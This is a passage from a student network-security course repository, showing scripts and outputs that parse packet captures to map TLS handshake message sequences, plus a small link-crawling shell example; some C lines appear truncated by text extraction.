51 | random = ThreadLocalRandom.current().nextInt(0, listIp.size());
52 | System.out.print("Result:" + tree.check(listIp.get(random).addressBinary));
53 | lEndTime = System.nanoTime();
54 | diffTime = lEndTime - lStartTime;
55 | System.out.println(" Lookup Time: " + diffTime / 1000 + " us Number Lookup: " + Node.numberOfLookup);
56 | avgDiffTime = avgDiffTime + diffTime;
57 | avgNumberOfHops = avgNumberOfHops + Node.numberOfLookup;
58 | }
59 | System.out.println(" [Average] Lookup Time: " + (avgDiffTime / NUMBER_OR_READING_TEST) / 1000 + " us and Number of Lookup: " + avgNumberOfHops / NUMBER_OR_READING_TEST);
60 |
61 | }
62 | }
63 |
--------------------------------------------------------------------------------
/Project 4/Project files/Test Result Excel.xlsx:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Test Result Excel.xlsx
--------------------------------------------------------------------------------
/Project 4/Project files/Week4 - Umeer Mohammad.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Week4 - Umeer Mohammad.pdf
--------------------------------------------------------------------------------
/Project 5/Project description/Project 5 - Description.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 5/Project description/Project 5 - Description.pdf
--------------------------------------------------------------------------------
/Project 5/Project description/pop_trace.pcap:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 5/Project description/pop_trace.pcap
--------------------------------------------------------------------------------
/Project 5/Project description/randomSurfer.sh.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | Some of you asked for an example how to traverse websites automatically. randomSurfer.sh randomly clicks on links on a webpage. If you run "randomSurfer.sh www.amazon.com", it will visit 10 pages with 5 second waiting time.
7 | #!/bin/bash domain=$1 nexturl=$domain for i in `seq 1 10`; do echo "Getting $nexturl" lynx -dump "https://$domain" > q nexturl=`cat q | sed -e '1,/^References/d' | egrep -e " +[0-9]*\. .*" -o | grep "https:// $domain.*" -o | sort | uniq | shuf -n 1` sleep 5 done
8 |
9 |
10 |
--------------------------------------------------------------------------------
/Project 5/Project files/Task1/SSLStudy-UmeerM.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 | #include
12 | #include
13 | #include
14 | #include
15 | #include
16 | #include
17 |
18 |
19 | #define SIZE_LIMITER 1000000
20 | #define SIZE_ETHERNET 14
21 | //#define ETHER_ADDR_LEN 6
22 | #define MAX_SIZE_ARP_TABLE 2000
23 | #define ETHERTYPE_IP 0x0800
24 | #define SPAM_CRITIC_RIPETITION_VALUE 3
25 | #define SIZE_DATA_CRIPTED 54
26 |
27 |
28 | char* pcap_file_name = "file.pcap";
29 |
30 | int packet_counter =0;
31 |
32 |
33 |
34 | void intToStringIP(int ip, char * string_ip){
35 | char string_value[25];
36 | unsigned char bytes[4];
37 | bytes[0] = ip & 0xFF;
38 | bytes[1] = (ip >> 8) & 0xFF;
39 | bytes[2] = (ip >> 16) & 0xFF;
40 | bytes[3] = (ip >> 24) & 0xFF;
41 | sprintf(string_value,"%d.%d.%d.%d", bytes[0], bytes[1], bytes[2], bytes[3]);
42 | memcpy(string_ip,string_value, sizeof(string_value));
43 | }
44 |
45 |
46 | void hexStringToStingIp(const char* ipAddress, char * string_ip) {
47 | char string_value[25];
48 | sprintf(string_value,"%d.%d.%d.%d", ipAddress[0]& 0xFF, ipAddress[1]& 0xFF, ipAddress[2]& 0xFF, ipAddress[3]& 0xFF);
49 | memcpy(string_ip,string_value, sizeof(string_value));
50 | }
51 |
52 |
53 | void hexStringToStringMAC(const char* macAddress, char * result){
54 | char string_value[25];
55 | sprintf(string_value,"%02x:%02x:%02x:%02x:%02x:%02x", macAddress[0]& 0xFF, macAddress[1]& 0xFF, macAddress[2]& 0xFF, macAddress[3]& 0xFF, macAddress[4]& 0xFF, macAddress[5]& 0xFF);
56 | memcpy(result, string_value, sizeof(string_value));
57 |
58 | }
59 |
60 | int calculateSequenceNumber(int n){
61 | int sequenceNumber =0;
62 | if((n >> 15)&1){
63 | sequenceNumber += 2048;
64 | }
65 | if((n >> 14)&1){
66 | sequenceNumber += 1024;
67 | }
68 | if((n >> 13)&1){
69 | sequenceNumber += 512;
70 | }
71 | if((n >> 12)&1){
72 | sequenceNumber += 256;
73 | }
74 | if((n >> 11)&1){
75 | sequenceNumber += 128;
76 | }
77 | if((n >> 10)&1){
78 | sequenceNumber += 64;
79 | }
80 | if((n >> 9)&1){
81 | sequenceNumber += 32;
82 | }
83 | if((n >> 8)&1){
84 | sequenceNumber += 16;
85 | }
86 | if((n >> 7)&1){
87 | sequenceNumber += 8;
88 | }
89 | if((n >> 6)&1){
90 | sequenceNumber += 4;
91 | }
92 | if((n >> 5)&1){
93 | sequenceNumber += 2;
94 | }
95 | if((n >> 4)&1){
96 | sequenceNumber += 1;
97 | }
98 | return sequenceNumber;
99 | }
100 | int calculateFragmentNumber(int n){
101 | int number =0;
102 |
103 | if((n >> 3)&1){
104 | number += 8;
105 | }
106 | if((n >> 2)&1){
107 | number += 4;
108 | }
109 | if((n >> 1)&1){
110 | number += 2;
111 | }
112 | if((n >> 0)&1){
113 | number += 1;
114 | }
115 | return number;
116 | }
117 |
118 | char* cleanResult(char *str) {
119 |
120 | str = strchr(str, '=')+1;
121 | str[strlen(str)-1] = '\0';
122 |
123 | return str;
124 | }
125 |
126 | char *database[50];
127 | char *databaseA[50];
128 |
129 | char *database2[50];
130 |
131 | int dbSize = 14;
132 |
133 | int tagSniffer (char *line){
134 |
135 | int i= 0;
136 |
137 | for (i = 0; i Data Parsing&Filtration <=====================\n");
289 |
290 | fp = fopen(RAW_DATA_FILE, "r");
291 | fOutLog = fopen(OUTPUT_LOG_FILE, "w");
292 |
293 |
294 | if (fp == NULL){
295 | printf("I can't find the raw data file.\n");
296 | return(1);
297 | }
298 |
299 | fprintf(fOutLog, "ip_destination port_destination ip_source port_source handshake\n");
300 |
301 |
302 | while ((read = getline(&line, &len, fp)) != -1) {
303 |
304 | //printf("Retrieved line of length %zu :\n", read);
305 |
306 | if(strstr(line,target) != NULL) {
307 | printf("\n%s", line);
308 | struct DataParse dataParse;
309 | dataParse.numberTag = 0;
310 | while ((read = getline(&line, &len, fp)) != -1 && strcmp(line, target2)!=0) {
311 | if(strstr(line,targetSource) != NULL){
312 | strcpy(dataParse.source, cleanResult(line));
313 | }else if(strstr(line,targetDest) != NULL){
314 | strcpy(dataParse.dest, cleanResult(line));
315 | }else if(strstr(line,targetSourcePort) != NULL){
316 | strcpy(dataParse.source_port, cleanResult(line));
317 | }else if(strstr(line,targetDestPort) != NULL){
318 | strcpy(dataParse.dest_port, cleanResult(line));
319 | }else if(tagSniffer(line)!=-1){
320 | dataParse.tag[dataParse.numberTag] = tagSniffer(line);
321 | dataParse.numberTag = dataParse.numberTag + 1;
322 | printf(" handshake detected: %s\n", cleanResult(line));
323 | fprintf(fOutLog, "%s %s %s %s %s\n",dataParse.dest, dataParse.dest_port, dataParse.source, dataParse.source_port, database2[tagSniffer(line)] );
324 | }
325 | }
326 |
327 | if(dataParse.numberTag >0){
328 | printf("%s %s %s %s\n", dataParse.dest, dataParse.dest_port, dataParse.source, dataParse.source_port);
329 | strcpy(dataParseLog[dataParseLogSize].dest, dataParse.dest);
330 | strcpy(dataParseLog[dataParseLogSize].dest_port, dataParse.dest_port);
331 | strcpy(dataParseLog[dataParseLogSize].source, dataParse.source);
332 | strcpy(dataParseLog[dataParseLogSize].source_port, dataParse.source_port);
333 | dataParseLog[dataParseLogSize].numberTag = dataParse.numberTag;
334 |
335 | int j=0;
336 | for(j=0; j Tables Creation <=====================\n");
349 |
350 | if(dataParseLogSize==0){
351 | printf("No handshake found");
352 | return 0;
353 | }
354 |
355 | int i=0;
356 | for(i =0; i < dataParseLogSize; i++){
357 | int j=0;
358 | for(j=0; j Tables PrintOut <=====================\n");
414 |
415 | fOutTable = fopen(OUTPUT_TABLE_FILE, "w");
416 | fOutGraph = fopen (OUTPUT_GRAPH_FILE,"w");
417 |
418 |
419 | i=0;
420 | for(i=0; i %s[label=\"%.0f\",weight=\"%.0f\"];\n", database2[x], database2[y], matrix[i].table[x][y]*100, matrix[i].table[x][y]*100);
434 | }
435 | }
436 | printf("\n");
437 | fprintf(fOutTable, "\n");
438 |
439 | }
440 | fprintf(fOutGraph, "}\n");
441 | fprintf(fOutTable, " ");
442 | }
443 |
444 | fclose(fOutGraph);
445 | fclose(fOutTable);
446 |
447 |
448 |
449 |
450 |
451 |
452 | return(0);
453 | }
454 |
--------------------------------------------------------------------------------
/Project 5/Project files/Task1/graph.dot:
--------------------------------------------------------------------------------
1 | digraph G0{
2 | start -> client_hello[label="100",weight="100"];
3 | client_hello -> server_hello[label="100",weight="100"];
4 | server_hello -> certificate[label="100",weight="100"];
5 | certificate -> client_key_exchange[label="100",weight="100"];
6 | client_key_exchange -> change_cipher_spec[label="100",weight="100"];
7 | change_cipher_spec -> change_cipher_spec[label="50",weight="50"];
8 | change_cipher_spec -> application_data[label="50",weight="50"];
9 | application_data -> application_data[label="90",weight="90"];
10 | application_data -> end[label="10",weight="10"];
11 | }
12 |
--------------------------------------------------------------------------------
/Project 5/Project files/Task1/imageGraph.ps:
--------------------------------------------------------------------------------
1 | %!PS-Adobe-3.0
2 | %%Creator: graphviz version 2.38.0 (20140413.2041)
3 | %%Title: G0
4 | %%Pages: (atend)
5 | %%BoundingBox: (atend)
6 | %%EndComments
7 | save
8 | %%BeginProlog
9 | /DotDict 200 dict def
10 | DotDict begin
11 |
12 | /setupLatin1 {
13 | mark
14 | /EncodingVector 256 array def
15 | EncodingVector 0
16 |
17 | ISOLatin1Encoding 0 255 getinterval putinterval
18 | EncodingVector 45 /hyphen put
19 |
20 | % Set up ISO Latin 1 character encoding
21 | /starnetISO {
22 | dup dup findfont dup length dict begin
23 | { 1 index /FID ne { def }{ pop pop } ifelse
24 | } forall
25 | /Encoding EncodingVector def
26 | currentdict end definefont
27 | } def
28 | /Times-Roman starnetISO def
29 | /Times-Italic starnetISO def
30 | /Times-Bold starnetISO def
31 | /Times-BoldItalic starnetISO def
32 | /Helvetica starnetISO def
33 | /Helvetica-Oblique starnetISO def
34 | /Helvetica-Bold starnetISO def
35 | /Helvetica-BoldOblique starnetISO def
36 | /Courier starnetISO def
37 | /Courier-Oblique starnetISO def
38 | /Courier-Bold starnetISO def
39 | /Courier-BoldOblique starnetISO def
40 | cleartomark
41 | } bind def
42 |
43 | %%BeginResource: procset graphviz 0 0
44 | /coord-font-family /Times-Roman def
45 | /default-font-family /Times-Roman def
46 | /coordfont coord-font-family findfont 8 scalefont def
47 |
48 | /InvScaleFactor 1.0 def
49 | /set_scale {
50 | dup 1 exch div /InvScaleFactor exch def
51 | scale
52 | } bind def
53 |
54 | % styles
55 | /solid { [] 0 setdash } bind def
56 | /dashed { [9 InvScaleFactor mul dup ] 0 setdash } bind def
57 | /dotted { [1 InvScaleFactor mul 6 InvScaleFactor mul] 0 setdash } bind def
58 | /invis {/fill {newpath} def /stroke {newpath} def /show {pop newpath} def} bind def
59 | /bold { 2 setlinewidth } bind def
60 | /filled { } bind def
61 | /unfilled { } bind def
62 | /rounded { } bind def
63 | /diagonals { } bind def
64 | /tapered { } bind def
65 |
66 | % hooks for setting color
67 | /nodecolor { sethsbcolor } bind def
68 | /edgecolor { sethsbcolor } bind def
69 | /graphcolor { sethsbcolor } bind def
70 | /nopcolor {pop pop pop} bind def
71 |
72 | /beginpage { % i j npages
73 | /npages exch def
74 | /j exch def
75 | /i exch def
76 | /str 10 string def
77 | npages 1 gt {
78 | gsave
79 | coordfont setfont
80 | 0 0 moveto
81 | (\() show i str cvs show (,) show j str cvs show (\)) show
82 | grestore
83 | } if
84 | } bind def
85 |
86 | /set_font {
87 | findfont exch
88 | scalefont setfont
89 | } def
90 |
91 | % draw text fitted to its expected width
92 | /alignedtext { % width text
93 | /text exch def
94 | /width exch def
95 | gsave
96 | width 0 gt {
97 | [] 0 setdash
98 | text stringwidth pop width exch sub text length div 0 text ashow
99 | } if
100 | grestore
101 | } def
102 |
103 | /boxprim { % xcorner ycorner xsize ysize
104 | 4 2 roll
105 | moveto
106 | 2 copy
107 | exch 0 rlineto
108 | 0 exch rlineto
109 | pop neg 0 rlineto
110 | closepath
111 | } bind def
112 |
113 | /ellipse_path {
114 | /ry exch def
115 | /rx exch def
116 | /y exch def
117 | /x exch def
118 | matrix currentmatrix
119 | newpath
120 | x y translate
121 | rx ry scale
122 | 0 0 1 0 360 arc
123 | setmatrix
124 | } bind def
125 |
126 | /endpage { showpage } bind def
127 | /showpage { } def
128 |
129 | /layercolorseq
130 | [ % layer color sequence - darkest to lightest
131 | [0 0 0]
132 | [.2 .8 .8]
133 | [.4 .8 .8]
134 | [.6 .8 .8]
135 | [.8 .8 .8]
136 | ]
137 | def
138 |
139 | /layerlen layercolorseq length def
140 |
141 | /setlayer {/maxlayer exch def /curlayer exch def
142 | layercolorseq curlayer 1 sub layerlen mod get
143 | aload pop sethsbcolor
144 | /nodecolor {nopcolor} def
145 | /edgecolor {nopcolor} def
146 | /graphcolor {nopcolor} def
147 | } bind def
148 |
149 | /onlayer { curlayer ne {invis} if } def
150 |
151 | /onlayers {
152 | /myupper exch def
153 | /mylower exch def
154 | curlayer mylower lt
155 | curlayer myupper gt
156 | or
157 | {invis} if
158 | } def
159 |
160 | /curlayer 0 def
161 |
162 | %%EndResource
163 | %%EndProlog
164 | %%BeginSetup
165 | 14 default-font-family set_font
166 | 1 setmiterlimit
167 | % /arrowlength 10 def
168 | % /arrowwidth 5 def
169 |
170 | % make sure pdfmark is harmless for PS-interpreters other than Distiller
171 | /pdfmark where {pop} {userdict /pdfmark /cleartomark load put} ifelse
172 | % make '<<' and '>>' safe on PS Level 1 devices
173 | /languagelevel where {pop languagelevel}{1} ifelse
174 | 2 lt {
175 | userdict (<<) cvn ([) cvn load put
176 | userdict (>>) cvn ([) cvn load put
177 | } if
178 |
179 | %%EndSetup
180 | setupLatin1
181 | %%Page: 1 1
182 | %%PageBoundingBox: 36 36 243 689
183 | %%PageOrientation: Portrait
184 | 0 0 1 beginpage
185 | gsave
186 | 36 36 207 653 boxprim clip newpath
187 | 1 1 set_scale 0 rotate 40 40 translate
188 | % start
189 | gsave
190 | 1 setlinewidth
191 | 0 0 0 nodecolor
192 | 85.14 627 27 18 ellipse_path stroke
193 | 0 0 0 nodecolor
194 | 14 /Times-Roman set_font
195 | 73.14 623.3 moveto 24 (start) alignedtext
196 | grestore
197 | % client_hello
198 | gsave
199 | 1 setlinewidth
200 | 0 0 0 nodecolor
201 | 85.14 540 51.99 18 ellipse_path stroke
202 | 0 0 0 nodecolor
203 | 14 /Times-Roman set_font
204 | 53.14 536.3 moveto 64 (client_hello) alignedtext
205 | grestore
206 | % start->client_hello
207 | gsave
208 | 1 setlinewidth
209 | 0 0 0 edgecolor
210 | newpath 85.14 608.8 moveto
211 | 85.14 597.16 85.14 581.55 85.14 568.24 curveto
212 | stroke
213 | 0 0 0 edgecolor
214 | newpath 88.64 568.18 moveto
215 | 85.14 558.18 lineto
216 | 81.64 568.18 lineto
217 | closepath fill
218 | 1 setlinewidth
219 | solid
220 | 0 0 0 edgecolor
221 | newpath 88.64 568.18 moveto
222 | 85.14 558.18 lineto
223 | 81.64 568.18 lineto
224 | closepath stroke
225 | 0 0 0 edgecolor
226 | 14 /Times-Roman set_font
227 | 85.14 579.8 moveto 21 (100) alignedtext
228 | grestore
229 | % server_hello
230 | gsave
231 | 1 setlinewidth
232 | 0 0 0 nodecolor
233 | 85.14 453 53.89 18 ellipse_path stroke
234 | 0 0 0 nodecolor
235 | 14 /Times-Roman set_font
236 | 51.64 449.3 moveto 67 (server_hello) alignedtext
237 | grestore
238 | % client_hello->server_hello
239 | gsave
240 | 1 setlinewidth
241 | 0 0 0 edgecolor
242 | newpath 85.14 521.8 moveto
243 | 85.14 510.16 85.14 494.55 85.14 481.24 curveto
244 | stroke
245 | 0 0 0 edgecolor
246 | newpath 88.64 481.18 moveto
247 | 85.14 471.18 lineto
248 | 81.64 481.18 lineto
249 | closepath fill
250 | 1 setlinewidth
251 | solid
252 | 0 0 0 edgecolor
253 | newpath 88.64 481.18 moveto
254 | 85.14 471.18 lineto
255 | 81.64 481.18 lineto
256 | closepath stroke
257 | 0 0 0 edgecolor
258 | 14 /Times-Roman set_font
259 | 85.14 492.8 moveto 21 (100) alignedtext
260 | grestore
261 | % certificate
262 | gsave
263 | 1 setlinewidth
264 | 0 0 0 nodecolor
265 | 85.14 366 46.29 18 ellipse_path stroke
266 | 0 0 0 nodecolor
267 | 14 /Times-Roman set_font
268 | 57.64 362.3 moveto 55 (certificate) alignedtext
269 | grestore
270 | % server_hello->certificate
271 | gsave
272 | 1 setlinewidth
273 | 0 0 0 edgecolor
274 | newpath 85.14 434.8 moveto
275 | 85.14 423.16 85.14 407.55 85.14 394.24 curveto
276 | stroke
277 | 0 0 0 edgecolor
278 | newpath 88.64 394.18 moveto
279 | 85.14 384.18 lineto
280 | 81.64 394.18 lineto
281 | closepath fill
282 | 1 setlinewidth
283 | solid
284 | 0 0 0 edgecolor
285 | newpath 88.64 394.18 moveto
286 | 85.14 384.18 lineto
287 | 81.64 394.18 lineto
288 | closepath stroke
289 | 0 0 0 edgecolor
290 | 14 /Times-Roman set_font
291 | 85.14 405.8 moveto 21 (100) alignedtext
292 | grestore
293 | % client_key_exchange
294 | gsave
295 | 1 setlinewidth
296 | 0 0 0 nodecolor
297 | 85.14 279 85.29 18 ellipse_path stroke
298 | 0 0 0 nodecolor
299 | 14 /Times-Roman set_font
300 | 27.64 275.3 moveto 115 (client_key_exchange) alignedtext
301 | grestore
302 | % certificate->client_key_exchange
303 | gsave
304 | 1 setlinewidth
305 | 0 0 0 edgecolor
306 | newpath 85.14 347.8 moveto
307 | 85.14 336.16 85.14 320.55 85.14 307.24 curveto
308 | stroke
309 | 0 0 0 edgecolor
310 | newpath 88.64 307.18 moveto
311 | 85.14 297.18 lineto
312 | 81.64 307.18 lineto
313 | closepath fill
314 | 1 setlinewidth
315 | solid
316 | 0 0 0 edgecolor
317 | newpath 88.64 307.18 moveto
318 | 85.14 297.18 lineto
319 | 81.64 307.18 lineto
320 | closepath stroke
321 | 0 0 0 edgecolor
322 | 14 /Times-Roman set_font
323 | 85.14 318.8 moveto 21 (100) alignedtext
324 | grestore
325 | % change_cipher_spec
326 | gsave
327 | 1 setlinewidth
328 | 0 0 0 nodecolor
329 | 85.14 192 81.79 18 ellipse_path stroke
330 | 0 0 0 nodecolor
331 | 14 /Times-Roman set_font
332 | 30.14 188.3 moveto 110 (change_cipher_spec) alignedtext
333 | grestore
334 | % client_key_exchange->change_cipher_spec
335 | gsave
336 | 1 setlinewidth
337 | 0 0 0 edgecolor
338 | newpath 85.14 260.8 moveto
339 | 85.14 249.16 85.14 233.55 85.14 220.24 curveto
340 | stroke
341 | 0 0 0 edgecolor
342 | newpath 88.64 220.18 moveto
343 | 85.14 210.18 lineto
344 | 81.64 220.18 lineto
345 | closepath fill
346 | 1 setlinewidth
347 | solid
348 | 0 0 0 edgecolor
349 | newpath 88.64 220.18 moveto
350 | 85.14 210.18 lineto
351 | 81.64 220.18 lineto
352 | closepath stroke
353 | 0 0 0 edgecolor
354 | 14 /Times-Roman set_font
355 | 85.14 231.8 moveto 21 (100) alignedtext
356 | grestore
357 | % change_cipher_spec->change_cipher_spec
358 | gsave
359 | 1 setlinewidth
360 | 0 0 0 edgecolor
361 | newpath 159.64 199.55 moveto
362 | 174.46 198.7 185.04 196.18 185.04 192 curveto
363 | 185.04 188.86 179.09 186.66 169.86 185.4 curveto
364 | stroke
365 | 0 0 0 edgecolor
366 | newpath 169.92 181.89 moveto
367 | 159.64 184.45 lineto
368 | 169.27 188.86 lineto
369 | closepath fill
370 | 1 setlinewidth
371 | solid
372 | 0 0 0 edgecolor
373 | newpath 169.92 181.89 moveto
374 | 159.64 184.45 lineto
375 | 169.27 188.86 lineto
376 | closepath stroke
377 | 0 0 0 edgecolor
378 | 14 /Times-Roman set_font
379 | 185.04 188.3 moveto 14 (50) alignedtext
380 | grestore
381 | % application_data
382 | gsave
383 | 1 setlinewidth
384 | 0 0 0 nodecolor
385 | 85.14 105 68.79 18 ellipse_path stroke
386 | 0 0 0 nodecolor
387 | 14 /Times-Roman set_font
388 | 40.14 101.3 moveto 90 (application_data) alignedtext
389 | grestore
390 | % change_cipher_spec->application_data
391 | gsave
392 | 1 setlinewidth
393 | 0 0 0 edgecolor
394 | newpath 85.14 173.8 moveto
395 | 85.14 162.16 85.14 146.55 85.14 133.24 curveto
396 | stroke
397 | 0 0 0 edgecolor
398 | newpath 88.64 133.18 moveto
399 | 85.14 123.18 lineto
400 | 81.64 133.18 lineto
401 | closepath fill
402 | 1 setlinewidth
403 | solid
404 | 0 0 0 edgecolor
405 | newpath 88.64 133.18 moveto
406 | 85.14 123.18 lineto
407 | 81.64 133.18 lineto
408 | closepath stroke
409 | 0 0 0 edgecolor
410 | 14 /Times-Roman set_font
411 | 85.14 144.8 moveto 14 (50) alignedtext
412 | grestore
413 | % application_data->application_data
414 | gsave
415 | 1 setlinewidth
416 | 0 0 0 edgecolor
417 | newpath 147.63 112.68 moveto
418 | 161.73 111.99 172.04 109.43 172.04 105 curveto
419 | 172.04 101.71 166.36 99.45 157.67 98.23 curveto
420 | stroke
421 | 0 0 0 edgecolor
422 | newpath 157.9 94.73 moveto
423 | 147.63 97.32 lineto
424 | 157.27 101.7 lineto
425 | closepath fill
426 | 1 setlinewidth
427 | solid
428 | 0 0 0 edgecolor
429 | newpath 157.9 94.73 moveto
430 | 147.63 97.32 lineto
431 | 157.27 101.7 lineto
432 | closepath stroke
433 | 0 0 0 edgecolor
434 | 14 /Times-Roman set_font
435 | 172.04 101.3 moveto 14 (90) alignedtext
436 | grestore
437 | % end
438 | gsave
439 | 1 setlinewidth
440 | 0 0 0 nodecolor
441 | 85.14 18 27 18 ellipse_path stroke
442 | 0 0 0 nodecolor
443 | 14 /Times-Roman set_font
444 | 75.14 14.3 moveto 20 (end) alignedtext
445 | grestore
446 | % application_data->end
447 | gsave
448 | 1 setlinewidth
449 | 0 0 0 edgecolor
450 | newpath 85.14 86.8 moveto
451 | 85.14 75.16 85.14 59.55 85.14 46.24 curveto
452 | stroke
453 | 0 0 0 edgecolor
454 | newpath 88.64 46.18 moveto
455 | 85.14 36.18 lineto
456 | 81.64 46.18 lineto
457 | closepath fill
458 | 1 setlinewidth
459 | solid
460 | 0 0 0 edgecolor
461 | newpath 88.64 46.18 moveto
462 | 85.14 36.18 lineto
463 | 81.64 46.18 lineto
464 | closepath stroke
465 | 0 0 0 edgecolor
466 | 14 /Times-Roman set_font
467 | 85.14 57.8 moveto 14 (10) alignedtext
468 | grestore
469 | endpage
470 | showpage
471 | grestore
472 | %%PageTrailer
473 | %%EndPage: 1
474 | %%Trailer
475 | %%Pages: 1
476 | %%BoundingBox: 36 36 243 689
477 | end
478 | restore
479 | %%EOF
480 |
--------------------------------------------------------------------------------
/Project 5/Project files/Task1/logDataOutput.txt:
--------------------------------------------------------------------------------
1 | ip_destination port_destination ip_source port_source handshake
2 | 40.115.1.44 https 192.168.1.125 59709 client_hello
3 | 192.168.1.125 59709 40.115.1.44 https server_hello
4 | 192.168.1.125 59709 40.115.1.44 https certificate
5 | 40.115.1.44 https 192.168.1.125 59709 client_key_exchange
6 | 40.115.1.44 https 192.168.1.125 59709 change_cipher_spec
7 | 192.168.1.125 59709 40.115.1.44 https change_cipher_spec
8 | 40.115.1.44 https 192.168.1.125 59709 application_data
9 | 40.115.1.44 https 192.168.1.125 59709 application_data
10 | 192.168.1.125 59709 40.115.1.44 https application_data
11 | 192.168.1.125 59709 40.115.1.44 https application_data
12 | 40.115.1.44 https 192.168.1.125 59709 application_data
13 | 40.115.1.44 https 192.168.1.125 59709 application_data
14 | 192.168.1.125 59709 40.115.1.44 https application_data
15 | 192.168.1.125 59709 40.115.1.44 https application_data
16 | 40.115.1.44 https 192.168.1.125 59716 client_hello
17 | 192.168.1.125 59716 40.115.1.44 https server_hello
18 | 192.168.1.125 59716 40.115.1.44 https certificate
19 | 40.115.1.44 https 192.168.1.125 59716 client_key_exchange
20 | 40.115.1.44 https 192.168.1.125 59716 change_cipher_spec
21 | 192.168.1.125 59716 40.115.1.44 https change_cipher_spec
22 | 40.115.1.44 https 192.168.1.125 59716 application_data
23 | 40.115.1.44 https 192.168.1.125 59716 application_data
24 | 192.168.1.125 59716 40.115.1.44 https application_data
25 |
--------------------------------------------------------------------------------
/Project 5/Project files/Task1/python_data_reader.py:
--------------------------------------------------------------------------------
1 | import sys
2 | from StringIO import StringIO
3 | import scapy
4 | #from scapy.layers.ssl_tls import *
5 | from scapy_ssl_tls.ssl_tls import *
6 | import socket
7 |
8 | textTracer = "###[ SSL/TLS ]###"
9 |
10 | inputFileName = "testing.pcap"
11 | outFileName = "rawData.txt"
12 |
13 | print("Data Parser by Umeer Mohammad - Student Code: 4748549\n")
14 |
15 |
16 | if len(sys.argv) != 2:
17 | print("Warning: The pcap file is not specified hence the testing.pcap will be automatically used...\n")
18 |
19 | if len(sys.argv) == 2:
20 | inputFileName = sys.argv[1];
21 |
22 |
23 | print ("==================> Data Parsing Stage 1 <=====================")
24 |
25 | file = open(outFileName,"w")
26 |
27 |
28 | packets = rdpcap(inputFileName)
29 | counter = 1
30 | for packet in packets:
31 | print("Packet Parsed", counter)
32 |
33 | capture = StringIO()
34 | save_stdout = sys.stdout
35 | sys.stdout = capture
36 | print("################# this is a packet ", counter)
37 | packet.show()
38 | print("")
39 | sys.stdout = save_stdout
40 | string = capture.getvalue()
41 |
42 | if textTracer in string:
43 | file.write(string)
44 |
45 | counter = counter +1
46 |
47 | #if counter ==15:
48 | #exit()
49 |
50 |
51 | file.close()
52 |
--------------------------------------------------------------------------------
/Project 5/Project files/Task1/run.sh:
--------------------------------------------------------------------------------
1 | #! /bin/bash
2 | clear
3 |
4 | apt-get update
5 | sudo apt-get install python-scapy
6 | sudo apt install python-pip
7 | sudo -H pip install --upgrade pip
8 | sudo -H pip install scapy-ssl_tls
9 | sudo apt install graphviz
10 |
11 | sudo apt-get install libpcap-dev
12 |
13 | python ./python_data_reader.py $1
14 | echo
15 | sudo gcc -o tmpProgram4748549 SSLStudy-UmeerM.c -lpcap
16 | sudo ./tmpProgram4748549
17 | sudo rm tmpProgram4748549
18 | dot -Tps graph.dot -o imageGraph.ps
--------------------------------------------------------------------------------
/Project 5/Project files/Task1/tableDataOutput.txt:
--------------------------------------------------------------------------------
1 | Table: #0
2 | 0 0 100 0 0 0 0 0 0 0 0 0 0 0 0
3 | 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
4 | 0 0 0 100 0 0 0 0 0 0 0 0 0 0 0
5 | 0 0 0 0 100 0 0 0 0 0 0 0 0 0 0
6 | 0 0 0 0 0 0 0 0 0 100 0 0 0 0 0
7 | 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
8 | 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
9 | 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
10 | 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
11 | 0 0 0 0 0 0 0 0 0 0 0 100 0 0 0
12 | 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
13 | 0 0 0 0 0 0 0 0 0 0 0 50 50 0 0
14 | 0 0 0 0 0 0 0 0 0 0 0 0 90 0 10
15 | 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
16 | 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
17 |
--------------------------------------------------------------------------------
/Project 5/Project files/Task1/testing.pcap:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 5/Project files/Task1/testing.pcap
--------------------------------------------------------------------------------
/Project 5/Project files/Task1/testing2.pcap:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 5/Project files/Task1/testing2.pcap
--------------------------------------------------------------------------------
/Project 5/Project files/Task2/Git.pcap:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 5/Project files/Task2/Git.pcap
--------------------------------------------------------------------------------
/Project 5/Project files/Task2/Graph.GIF:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 5/Project files/Task2/Graph.GIF
--------------------------------------------------------------------------------
/Project 5/Project files/Task2/News.pcap:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 5/Project files/Task2/News.pcap
--------------------------------------------------------------------------------
/Project 5/Project files/Task2/Skype.pcap:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 5/Project files/Task2/Skype.pcap
--------------------------------------------------------------------------------
/Project 5/Project files/Task2/TeamV.pcap:
